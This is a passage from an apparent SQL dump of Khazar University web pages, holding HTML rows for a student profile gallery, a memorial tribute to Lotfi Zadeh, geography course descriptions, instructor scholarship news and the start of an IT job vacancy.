#000000;width:400px;height:268px;margin:7px;float:right\"></strong></em></p><p><br></p><p><br></p><p style=\"text-align:right\"><strong><a href=\"https://www.facebook.com/rufatgasimzade\" style=\"font-size:large\">Rüfət Qasımzadə</a></strong></p><p style=\"text-align:right\"><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\">(Mühəndislik və Tətbiqi elmlər fakültəsi)</a></p><p style=\"text-align:right\"><em><strong>(<a href=\"http://facebook.com/RufatGasimzade\">facebook</a>)&nbsp; &nbsp;;&nbsp; (<a href=\"http://instagram.com/RufatGasimzade\">instagram</a>)</strong></em></p><p><br></p><p><br></p><p><br></p><p><br></p><p style=\"font-size:large;text-align:left\"><img src=\"http://www.khazar.org/files/multimedia/lamiya123.jpg\" style=\"border:0px #000000;float:left;width:400px;height:268px;margin:7px\"></p><p style=\"font-size:large;text-align:left\"><br></p>\r\n<embed style=\"text-align:right\" src=\"/files/multimedia/Elvin.jpg\" href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" target=\"_blank\" class=\"<img src=\" title=\"/files/multimedia/SaxavatLast.jpg\" rel=\"media4835270407750232\" width=\"150\" height=\"100\" type=\"application/x-shockwave-flash\">\"&gt;<strong style=\"font-size:large\">&nbsp;Lamiyə Piriyeva</strong></p><p style=\"text-align:left;background:undefined\"><span style=\"font-size:large\"><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/multimedia/SaxavatLast.jpg\" rel=\"media43294385629652044\" width=\"150\" height=\"100\">(Təhsil fakültəsi)</a></span></p><div><br></div><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><em><strong><img src=\"/files/multimedia/sevinc.jpg\" style=\"float:right;width:400px;height:268px;margin:7px\"><br></strong></em></p><p><br></p><p style=\"text-align:right\"><strong style=\"font-size:large\"> Sevinc&nbsp;Hasanova</strong></p><p style=\"text-align:right\"><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\">(Humanitar və&nbsp;Sosial Elmlər fakültəsi)</a></p><p style=\"text-align:right\"><span style=\"white-space:pre\">  </span>(<a href=\"https://www.facebook.com/sevinc.hasanova3\">facebook</a>) ; (<a href=\"https://www.instagram.com/joy_hs.photos/\">instagram</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Saadatlast.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p><br></p><strong style=\"font-size:large\">Səadət Sovzəliyeva&nbsp;&nbsp; &nbsp;&nbsp;</strong><br>(<a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\">İqtisadiyyat və Menecment Fakültəsi</a>)<br><p><strong style=\"font-size:large\"><br></strong></p>\r\n<p><br></p><p><br></p><p><br></p><p><br></p><p><strong style=\"font-size:large\"><span class=\"Apple-tab-span <img src= <img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/multimedia/DSC_9884.JPG\" rel=\"media27078923808458444\" width=\"150\" height=\"100\"><img src=\"/files/multimedia/ismet.jpg\" style=\"border:0px  #000000;float:right;margin:7px;width:400px;height:268px\"></span></strong></p><p><strong style=\"font-size:large\"><br></strong></p><p style=\"text-align:right\"><strong style=\"font-size:large\">İsmət Məmmədova</strong></p><p style=\"text-align:right\"><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\">(Humanitar və&nbsp;Sosial Elmlər fakültəsi)</a></p><p><strong style=\"font-size:large\"><br></strong></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Sebnem.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p>&nbsp;<strong>Şəbnəm Rüstəmli</strong></p><p><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">(Təhsil Fakültəsi)</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Emillast.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"><br><span style=\"white-space:pre\"></span></p><p style=\"text-align:right\"><strong style=\"font-size:large;text-align:right\"><br></strong></p><p style=\"text-align:right\"><strong style=\"font-size:large;text-align:right\"><br></strong></p><p style=\"text-align:right\"><strong style=\"font-size:large;text-align:right\">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;Emil Cəfərov</strong></p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" style=\"text-align:right\">İqtisadiyyat və Menecment Fakültəsi</a>)<span style=\"text-align:right\"></span></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p><p><br></p><p><img src=\"/files/multimedia/vurgun.jpg\" style=\"float:left;width:400px;height:268px;margin:7px\"></p><div style=\"text-align:left\"><br></div><br><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><span style=\"white-space:pre\"> </span><span style=\"font-size:large\"><strong>Vurğun Yusubov</strong></span></p><p style=\"text-align:left\"><span style=\"font-size:large\"><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\"><span style=\"font-size:medium\">(Mühəndislik və Tətbiqi elmlər fakültəsi)</span><span style=\"font-size:medium\"><br></span></a></span></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Ziyadxan.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"></p><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><strong>Ziyadxan Tağıyev</strong></div><div style=\"text-align:right\">(<a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\">İqtisadiyyat və Menecment Fakültəsi</a>)  <br></div><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><br></div><div style=\"text-align:right\"><br></div><br><p style=\"text-align:right\">&nbsp;</p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p>\r\n<p style=\"text-align:right\"><img src=\"/files/multimedia/Afruz.jpg\" style=\"float:left;margin:7px;width:400px;height:268px\"></p><p><strong style=\"font-size:large\"><br></strong></p><p><br></p><p><span style=\"white-space:pre\"></span><strong style=\"font-size:large\">Əfruz Qafarlı</strong></p><p><a href=\"http://www.khazar.org/az/menus/47/muhendislik_ve_tetbiqi_elmler_fakultesi\">(Mühəndislik və Tətbiqi elmlər fakültəsi)  <br></a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/Tagi.jpg\" style=\"border:0px  #000000;width:400px;height:268px;margin:7px;float:right\"></p><p><br></p><p><br></p><p><br></p><p style=\"text-align:right\"><strong>Tağı Məmmədov</strong></p><p style=\"text-align:right\">(<a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\">İqtisadiyyat və Menecment Fakültəsi</a>)  </p><p style=\"text-align:right\">(<a href=\"http://facebook.com/mtko11\">facebook</a>) ; (<a href=\"https://www.instagram.com/tagi_mamedov/\">instagram</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><img src=\"/files/multimedia/irade.jpg\" style=\"border:0px  #000000;float:left;width:400px;height:268px;margin:7px\"><br></p><p><br></p><p><strong style=\"font-size:large\"><br></strong></p><p style=\"text-align:left\"><strong style=\"font-size:large\">İradə Əhmədli</strong></p><p style=\"text-align:left\"><span style=\"font-size:large;white-space:pre\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"/files/multimedia/SaxavatLast.jpg\" rel=\"media4835270407750232\" width=\"150\" height=\"100\"><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">(Təhsil fakültəsi)</a></span></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><img src=\"/files/multimedia/arzu.jpg\" style=\"width:0px;height:0px;float:left\"></p><p style=\"text-align:right\"><img src=\"/files/multimedia/arzu.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><strong>Arzu Məmmədova </strong> <br></p><p style=\"text-align:right\"><strong><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">(Təhsil fakültəsi)</a>  <br></strong></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:left\"><img src=\"/files/multimedia/Kemale.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><br></p><p style=\"text-align:left\"><strong>Kəmalə Ağamaliyeva&nbsp;</strong><br></p><p style=\"text-align:left\"><strong><strong><a href=\"http://www.khazar.org/az/menus/55/tehsil_fakultesi\">(Təhsil fakültəsi)</a>&nbsp;</strong>  <br></strong></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><br></p><p style=\"text-align:right\"><img src=\"/files/multimedia/Elvin.jpg\" style=\"width:400px;height:268px;margin:7px;float:right\"><br></p><p><br></p><p><br></p><p style=\"text-align:right\"><strong>Elvin&nbsp;Kərimov</strong></p><p style=\"text-align:right\"><span style=\"text-align:right\">(</span><a href=\"http://www.khazar.org/az/menus/54/iqtisadiyyat_ve_menecment_fakultesi\" style=\"text-align:right\">İqtisadiyyat və Menecment Fakültəsi</a><span style=\"text-align:right\">)</span>  </p><div style=\"text-align:right\"><br></div><br><p><br></p><p><br></p><p><img src=\"/files/multimedia/Resad.jpg\" style=\"width:400px;height:268px;margin:7px;float:left\"><br></p><p><br></p><p><strong>Rəşad Məmmədov</strong></p><p><a href=\"http://www.khazar.org/az/menus/56/humanitar_ve_sosial_elmler_fakultesi\">(Humanitar və&nbsp;Sosial Elmlər fakültəsi)</a>  <br></p><p>(<a href=\"https://www.instagram.com/m_rewad_m/\">instagram</a>)</p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p>'),(4103,2390,'en','To the memory of prominent scientist Lotfi Zadeh','Lotfi Zadeh (Lutfali Rahim Asgerzade), the outstanding specialist in electrical engineering and artificial intelligence, mathematician, professor emeritus at the University...','<p>Lotfi Zadeh (Lutfali Rahim Asgerzade), the outstanding\r\nspecialist in electrical engineering and artificial intelligence,\r\nmathematician, professor emeritus at the University of California, Berkeley,\r\none of the five founding members of the Eurasian Academy, passed away on\r\nSeptember 6 in Berkeley, America.</p>\r\n<p>Lotfi Zadeh was born in Baku in 1921 and moved to Iran,\r\nhis father`s homeland in 1931 with his family. </p>\r\n<p>In 1942, he graduated from the University of Tehran\r\nwith a degree in electrical engineering and moved to America in 1944. He\r\nreceived an M.S. degree in electrical engineering from M.I.T. &nbsp;&nbsp;(Massachusetts Institute of Technology) in\r\n1946 and received his PhD in electrical engineering from the University of\r\nColumbia in 1949. In 1957, he became a professor of the same university, and\r\nsince 1959 he began his career at Berkeley University in California, where he\r\nlived and worked until the end of his life.</p>\r\n<p>Lotfi Zadeh formulated theories such as fuzzy sets,\r\nfuzzy logic, and fuzzy algorithms and he is one of two specialists who\r\ndeveloped the z-transform method in discrete time signal processing and\r\nanalysis. These theories have found widespread applications in technological\r\nand social processes. Lotfi Zadeh founded Zadeh Institute for Information Technology\r\nat Berkeley University in California (ZIFIT). He was a member of many influential\r\nscience and technology institutions and was awarded numerous awards, medals and\r\nhonorary titles.&nbsp; He is one of the most\r\nhighly-cited scientists in the world.</p>\r\n<p>In 2012 Professor Lotfi Zadeh, Turkish historian Halil\r\nInalcık, neurosurgeon Mahmut Gazi Yasargil, composer Arif Melikov and\r\nmathematician scientist, researcher in the field of humanitarian and social\r\nsciences Hamlet Isakhanli initiated to establish an academy of a new type-\r\nEurasian Academy. To this end, they had meetings in California, Istanbul,\r\nAnkara and Baku. On January 29, 2016, the official opening of the Eurasian\r\nAcademy was held at Khazar University, Baku.</p>\r\n<p>Professor Lotfi Zadeh was an outstanding scientist and\r\na remarkable person who was away from religious, racial, nationalist views. He\r\nand his work influenced the development of science in Azerbaijan. Lotfi Zadeh\r\nvisited Azerbaijan, met with the president of the country and was awarded. </p>\r\n<p>Professor Lotfi Zadeh\'s memory will live in the hearts\r\nof those who know him and those who benefit from his works. I express my\r\ndeepest condolences to the family and friends of Professor Lotfi Zadeh.</p><p><br></p>\r\n<p style=\"text-align:center\"><strong>Professor Hamlet Isaxanli, the founder of Khazar\r\nUniversity and Chairman of its Board of Directors and Trustees, the founding\r\nmember of Eurasian Academy</strong></p>'),(941,611,'en','Courses','Courses','<div><br></div><div><p><strong>GEOG 101 Earth Studies (6 <strong>ECT</strong>)</strong></p>\r\n<p>Study\r\nof the fundamental knowledge about geographic circumstances in the planet of\r\nEarth. Main sections include: Earth as a planet, Atmosphere, Hydrosphere,\r\nInternal Processes, Soils, Flora and Fauna, Fluvial processes, Topography of\r\nArid lands.&nbsp; </p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG 103 Geomorphology (6&nbsp;<strong>ECT</strong>)</strong></p>\r\n<p>Relationships\r\nof tectonic processes, water, weathering, gravity, ice, wind to formation of\r\ntopographic relief of the Earth. Main sections include: Fluvial processes,\r\nAeolian processes, Hillslope processes, Glacial processes, Tectonic processes,\r\nIgneous processes and Biological processes. </p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 202 Hydrology (6 <strong>ECT</strong>)</strong></p>\r\n<p>This\r\ncourse is about learning the concepts and physical principles of water flow as\r\nwell as the techniques that can be used to solve hydrologic problems. In\r\npractice, hydrologists have to quantify rates at which water is exchanged\r\nbetween the atmosphere, the ground, and the ocean, and this often involves\r\nmanipulating data and solving sets of equations. </p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 204 Meteorology and Climatology (6\r\n<strong><strong>ECT</strong>)</strong>  </strong></p>\r\n<p>An\r\nintroduction to the fundamentals of meteorology and climatology&nbsp; including physics of the atmosphere, energy\r\nand radiation balance, adiabatic processes, classification of the climate,\r\nhorizontal motion, weather hazards</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG 206\r\nCartography &nbsp;and GIS (6 <strong><strong>ECT</strong>)</strong>  </strong></p>\r\n<p>The\r\nmain goal of this course is to instill basic knowledge regarding the science of\r\ncartography. Main sections: The Planet Earth, Cartographic Generalization,\r\nCartographic Projections, Maps, Map Making, Remote Sensing, Geographical\r\nInformation Systems (GIS).</p>\r\n<div>&nbsp;</div><p><strong>GEOG 208\r\nPhysical Geography of the World (6 <strong><strong>ECT</strong>)</strong>  </strong></p><p>The\r\nmain goal of this course is to form a solid background&nbsp;regarding the\r\nphysical geography of the Earth. Main sections: Physical Geography as a\r\nScience, Continents: Africa, America, Europe, Asia, Antarctica,\r\nAustralia/Oceania; Oceans: Pacific Ocean, Indian Ocean, Atlantic Ocean, Arctic\r\nOcean.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 301\r\nGeology (6 <strong><strong>ECT</strong>)</strong>  </strong></p>\r\n<p>The\r\nprimary objective of this course is to deliver basic knowledge regarding the\r\nGeology of the Earth. Main sections: Hydrogeology, Crystallography, Geophysics.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n302 Environmental Science (6 <strong><strong>ECT</strong>)</strong>  </strong></p>\r\n<p>The\r\nmain objective of this course is to deliver fundamental knowledge about the\r\nnature and environment as well as environmental pollution. Main sections:\r\nEcology, Environment, Environmental Pollution, Environmental Problems of\r\nAzerbaijan and Main Obstacles.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 303\r\nTourism (6 <strong><strong>ECT</strong>)</strong>  </strong></p>\r\n<p>The\r\nmain goal of the course is to form solid background regarding tourism and\r\ntourism-related issues. Main sections: Tourism, Tourist Rentals, Touristic\r\nPlaces of the World, Tourism in Europe, Hotel Management, Mountain Tourism, Hiking,\r\nTourism in Protected Territories and National Parks, Touristic Management,\r\nTourism in Azerbaijan.</p>\r\n<p>Cultural,\r\nphysical, and biotic factors affecting the tourism,&nbsp; Recreational resources of the World, cultural\r\nresources, biotic factors affection tourism, tourism resources, tourism\r\nindustry, Azerbaijan’s recreational resources, Tourism and management in\r\nAzerbaijan</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n304 Integrated Water Resources management&nbsp;<strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>Study\r\nof the relevant characteristics of water resources aimed at the sustainable\r\ndistribution and the process of creating and implementing plans, programs, and\r\nprojects to sustain and enhance watershed functions. Major sections include:\r\nWatershed inventory, Problem definition and scoping, climate change and water\r\nresources management, water conflicts, transboundary water management, water\r\nand agriculture, Azerbaijan’s water related problems, water hazards</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG 306\r\nPhysical, Economic and Social Geography of Azerbaijan <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>The\r\nprimary aim of this course is to deliver foundational knowledge regarding the\r\nphysical geography of Azerbaijan. Regions of Azerbaijan are studied separately.\r\nMain sections: Geographical Situation of Azerbaijan, Geology of Azerbaijan,\r\nMineral Resources, Climate, Rivers and Water Resources, Caspian Sea,\r\nEnvironmental Problems, Protected Territories, Natural Regions and Sub-regions\r\nof Azerbaijan. <strong>Rivers and Water Bodies,\r\nLandscapes, Flora and fauna, Agricultural and urban landscapes, National Parks</strong><strong>. </strong></p>\r\n<p>Economic-Geographical\r\nSituation of Azerbaijan, Natural Resources of Azerbaijan, Population of\r\nAzerbaijan, Migration Problems, Demography of Azerbaijan, Economic Sectors,\r\nEconomic Geography of Azerbaijan, Agriculture, Management of Natural Resources,\r\nEconomic Regions of Azerbaijan and Main Problems.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 308\r\nEconomic and Social Geography of the World&nbsp;<strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>This\r\ncourse provides a solid background regarding economic and social geography of\r\nthe world. Detailed knowledge regarding the regions and countries should be\r\ndelivered. Main sections: Natural Resources of the World and their Management,\r\nPopulation and Urbanization- Main Obstacles, Agriculture, Industry, Economic\r\nand Social Regions of the World, World Countries such as United States of\r\nAmerica, Germany, Japan, African Countries, Islamic Countries, Turkic\r\nCountries.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n310 Soil Sciences <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>A study\r\nof the principles and properties of soils and their distribution on the\r\nlandscape. Topics covered include: pedology, clay mineralogy, soil physics,\r\nsoil chemistry, management of soils, soil biology, taxonomy, soil\r\ngeomorphology, soil classification.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG 401\r\nEnvironmental Management <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>This\r\ncourse provides an overview of the key concepts and principles in environmental\r\nmanagement, areas of global and national environmental concern, and strategies\r\nand tools for effective environmental management.&nbsp; Main sections: Nature,\r\nEcology, Environmental Problems, Air and Water Pollution, Soil Pollution,\r\nClimate Change, Carbon Management.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n402 Geographical Information Systems <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>Principles,\r\ntechniques, and decision making in mapping including the use of\r\ncomputer-mapping and geographic information systems (GIS) software to produce\r\nindividual maps and map series. Sections include:&nbsp; Maps and map types,\r\nGeneral and thematic cartography, Topographic maps, Map design, Map\r\ngeneralization, &nbsp;Map projections, GIS software, Use of GIS in map making,\r\nGIS techniques and technology, Data collection, Raster-to-vector translation,\r\nProjections,</p>\r\n<p>Spatial\r\nanalysis with GIS</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n403&nbsp; Caspian Studies <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>Study\r\nabout the Caspian Sea. Caspian Sea is a largest enclosed body in the World.\r\nThis huge lake has an important role in economic, cultural and recreational\r\nlife of the Azerbaijan. Major topics include: Meteorology and Hydrology of the\r\nCaspian Sea, Rivers flowing into the Caspian Sea, Level fluctuations.&nbsp;\r\nFlora and fauna, Fish species, Oil and Gas Resources, Oil industry,\r\nEnvironmental Problems, Political problems</p>\r\n<div>&nbsp;</div>\r\n<p><strong>Electives</strong></p>\r\n<p><strong>GEOG\r\n106 Biogeography <strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong>  </strong></p>\r\n<p>Study\r\nabout distribution of species and ecosystems in geographic space and geological\r\ntime. Major topics include: History of species, Palebiogeography, Interaction\r\nbetween living organisms and the environment, Evolution of species in space and\r\ntime, &nbsp;distribution of species, Major Biomes, Ecozones, Future changes,\r\nEcological Land Classification</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n210 Statistic methods of Geography <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>Statistical analyses of geographical\r\ndata, distributions, t test, F test, ANOVA, Dependence and correlation, ARMA,\r\nARFIMA models, statistic sampling</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n312 Urban Geography and Planning <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>This\r\ncourse explores the city from the multiple perspectives. Cities and their planning\r\nissues are studies. The cultural viewpoints of place, gender, age, and\r\nethnicity are stressed. Major topics include: urban hierarchy, functions of the\r\ncity, suburbanization, city planning, transport planning<strong>&nbsp;</strong></p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n310 World Regional Geography <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>An\r\nintroductory survey of the environmental setting, historical formative periods,\r\nand present-day issues that distinguish the major culture areas of the world.\r\nMajor sections include: physical processes, human processes, Geographic profile\r\nof Europe, Geographic profile of North America, Geographic profile of Russia\r\nand former soviet republics, Geographic profile of Africa, Geographic profile\r\nof Australia, Geographic profile of Middle East</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n411 Historical Geography <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>The\r\nmain goal of this course is to create a bridge between geography and history\r\nand instill essential knowledge regarding the geography of historical\r\ncivilizations. Main sections: Geographic Peculiarities of Ancient Nations,\r\nEgypt, Rome, Greece.</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>&nbsp;GEOG\r\n316 Human Geography of Azerbaijan <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>   </strong></p>\r\n<p>A study\r\nof the location, distribution and spatial organization of economic and social\r\nactivities in Azerbaijan.&nbsp; Major topics include: Major human activities in\r\nAzerbaijan. Economic regions of Azerbaijan, Demographical changes, Problems of\r\nMigration, Population Distribution, Transport, Major Economic Activities,\r\nIndustry, Agriculture, Environmental concerns, Major cities</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n318 &nbsp;Demography&nbsp;<strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>&nbsp;A\r\nstudy of the principles of populations and their distribution in time and\r\nspace. Topics include: Population pyramids, Population census, Infant\r\nmortality, Population patterns of developed and developing societies,\r\nDemographic Policy,</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n418 Sustainable Development <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>Study\r\nof the principles of sustainable natural resources management. Topics include:\r\nNatural Resources, Natural Resources Management, Sustainability, Efficient use\r\nof natural resources, Alternate energy sources, Urban Agriculture, Pasture\r\nmanagement, Forest Management</p>\r\n<div><strong>&nbsp;</strong></div>\r\n<p><strong>GEOG\r\n418 Agroclimatology <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>Study\r\nof climate as a factor of agricultural production. &nbsp;Topics include: Soil\r\nand its fertility, Climate and Agriculture, Dry-land water resources,\r\nAgroclimatic Resources</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n412 Geography of the Turkic World <strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>This\r\ncourse serves to develop a solid background of the Turkic world, including\r\ndetailed knowledge of the current economic and social geography. Main sections:\r\nTurkic Countries, Geographic Situation of the Turkic Countries, Natural\r\nResources, Population, Turkic nations, Agriculture, Industry, Turkey,\r\nKazakhstan,&nbsp;Uzbekistan, Turkic Government bodies in Russia and China.</p>\r\n<div>&nbsp;</div>\r\n<p><strong>GEOG\r\n320 Field work&nbsp;<strong><strong>(6&nbsp;<strong><strong>ECT</strong>)</strong></strong></strong>  </strong></p>\r\n<p>An\r\nindependent field work includes data collection and analyses, writing paperwork\r\n&nbsp;</p>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>  <br></div>'),(2136,1313,'en','Instructor of Khazar University Receives a Scholarship to Study in USA','Taher Chegini, an instructor at the Department of Civil Engineering of Khazar University, received a full scholarship to continue his professional development in the USA...','<p>&nbsp;</p>\r\n<p>Taher\r\nChegini, an instructor at the Department of Civil Engineering of Khazar\r\nUniversity, received a full scholarship to continue his professional\r\ndevelopment in the USA.</p>\r\n<p>&nbsp;</p>\r\n<p>Taher\r\nChegini earned his bachelor’s degree in Civil Engineering (University of Razi)\r\nand his master’s in Hydraulic Engineering (K. N. Toosi University of\r\nTechnology) in Iran. His main academic interest is in Computational Fluid\r\nDynamics (CFD) and its many applications, specifically in climate change\r\nstudies. He started working at Khazar University in February of 2014 where he\r\ntaught several courses including Fluid Mechanics, Strength of Materials, and\r\nEngineering Mechanics to undergraduate engineering students. As the manager of\r\nthe Civil Engineering Laboratory, Taher Chegini employed laboratory activities\r\nin his courses to help students experience hands-on learning.</p>\r\n<p>&nbsp;</p>\r\n<p>Chegini\r\nwas offered 13 licenses of Realflow software, an industry standard 3D visual\r\neffects package, worth $26,000 free of charge by the Next Limit Tech. company\r\nand started teaching an introductory course on 3D graphic design. Other than\r\nthis software, Chegini also taught MATLAB for computational methods and SAP2000\r\nfor structural design to civil and petroleum engineering students. Moreover, he\r\nestablished a research group in the newly established Khazar Computation\r\nResearch Center (KCRC) to conduct computational studies.</p>\r\n<p>&nbsp;</p>\r\n<p>Taher\r\nChegini was also the initiator of the so-called Spaghetti Bridge Competition.\r\nThe competition aims at teaching students practical skills and requires that\r\nthey construct a bridge which can sustain a load\r\nby using a specific quantity of materials. The first National Spaghetti\r\nBridge Competition was held in Azerbaijan at Khazar University on May 5, 2015.\r\nParticipants included students of Khazar University as well as students from\r\nother universities across Baku. </p>\r\n<p>&nbsp;</p>\r\n<p>In\r\norder to further his knowledge and advance his research group at KCRC, Taher\r\ndecided to pursue a PhD degree. He received a full scholarship from the\r\nUniversity of Houston, Texas, USA. He will study flood control systems by means\r\nof experimental and numerical studies for his PhD thesis. Upon completion of\r\nhis PhD study, Taher intends to continue the work he started at Khazar\r\nUniversity and expand his research.</p>\r\n<p>&nbsp;</p>\r\n<p>We\r\ncongratulate our instructor with this achievement and wish him success!</p>'),(2137,1314,'az','Xəzər Universiteti IT Help Desk vakansiyasına işçi axtarır!','- Dil biliyi: azərbaycan, rus (orta), ingilis dili (orta) \r\n- İT sahəsində ən azı 2-3 il iş təcrübəsi \r\n','<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:4.5pt;margin-left:0in;line-height:14.5pt;background:white\"\"=\"\">- Dil biliyi: azərbaycan,\r\nrus (orta), ingilis dili (orta)&nbsp;<br>\r\n- İT sahəsində ən azı 2-3 il iş təcrübəsi&nbsp;</p>\r\n<p style=\"\" margin-top:4.5pt;margin-right:0in;margin-bottom:4.5pt;margin-left:0in;line-height:14.5pt;background:white\"\"=\"\">- Windows Server-də yaranan umumi problemlərin həlli,\r\nFile server və Active Direktory ilə işləmək<br>\r\n- Ofis 